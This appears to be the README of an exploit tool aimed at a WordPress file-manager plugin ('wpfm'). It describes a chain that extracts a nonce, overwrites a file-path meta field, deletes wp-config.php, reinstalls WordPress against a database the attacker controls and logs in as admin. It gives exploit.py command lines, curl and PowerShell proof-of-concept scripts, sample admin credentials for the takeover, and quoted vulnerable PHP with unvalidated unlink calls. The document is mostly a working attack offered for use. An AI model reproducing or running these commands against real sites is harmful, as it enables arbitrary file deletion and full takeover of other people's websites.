1. Detectar plugin + upload de convidado ativado
2. Extrair automaticamente nonce AJAX da página frontend (campo de entrada oculto)
3. Enviar arquivo como convidado OU forçar ID de post existente
4. Sobrescrever wpfm_dir_path via bypass de string de consulta → apontar para wp-config.php
5. Acionar wpfm_delete_file → unlink(wp-config.php)
6. WordPress entra em modo de configuração (setup-config.php)
7. Completar configuração com banco de dados controlado pelo atacante
8. Login como admin → assumir controle total

# Instalar dependências
pip install -r requirements.txt

# Exploit automático completo (nonce detectado automaticamente)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --dbname attacker_db --dbuser root

# Apenas detecção
python exploit.py -u http://target.com --detect-only

# Com nonce manual (se a detecção automática falhar)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --nonce abc123def4

# Com proxy Burp
python exploit.py -u http://target.com --proxy http://127.0.0.1:8080

# Configuração personalizada do banco de dados do atacante
python exploit.py -u http://target.com \
    -p /var/www/html/wp-config.php \
    --dbname pwned_db \
    --dbuser root \
    --dbpass secret \
    --dbhost localhost

URL:      http://target.com/wp-login.php
Usuário: shac1x
Senha: Sh4c1x_Pwn3d!

bash poc_curl.sh http://target.com

.\poc_curl.ps1 -Target "http://target.com" -PageSlug "file-upload"

<input type="hidden" id="wpfm_ajax_nonce" name="wpfm_ajax_nonce" value="abc123def4" />

var wpfm_vars = {"wpfm_ajax_nonce":"abc123def4"};

/*if (empty ( $_POST ) || ! wp_verify_nonce ( $_POST ['wpfm_ajax_nonce'], 'wpfm_securing_ajax' )) {
    wp_send_json_error(__("Sorry, this request cannot be completed contact admin", "wpfm"));
}*/

$meta_fields = $_REQUEST;
foreach ($meta_fields as $meta_key => $meta_value) {
    update_post_meta( $file_id, sanitize_key($meta_key), sanitize_text_field($meta_value));
}

$allow_guest = wpfm_get_option('_allow_guest_upload') == 'yes' ? true : false;
if( !$allow_guest && ! wpfm_is_current_user_post_author($_POST['file_id'] )) {
    wp_send_json_error(__("Sorry, not allowed", "wpfm"));
}
// Quando upload de convidado ON → !$allow_guest = false → verificação inteira PULADA

function delete_file_locally() {
    $file_path = $this->path;  // do meta wpfm_dir_path - SEM VALIDAÇÃO
    if (file_exists($file_path)) {
        unlink($file_path);    // EXCLUSÃO ARBITRÁRIA DE ARQUIVOS
    }
}

function path() {
    $file_dir_path = null;
    if( ! $file_dir_path = $this->get_meta('wpfm_dir_path') ) {
        $file_dir_path = $this->legacy->path();  // fallback: upload_dir + wpfm_file_name
    }
    if( ! is_file($file_dir_path) ) {
        $file_dir_path = null;
    }
    return $file_dir_path;  // SEM canonicalização, SEM verificação realpath
}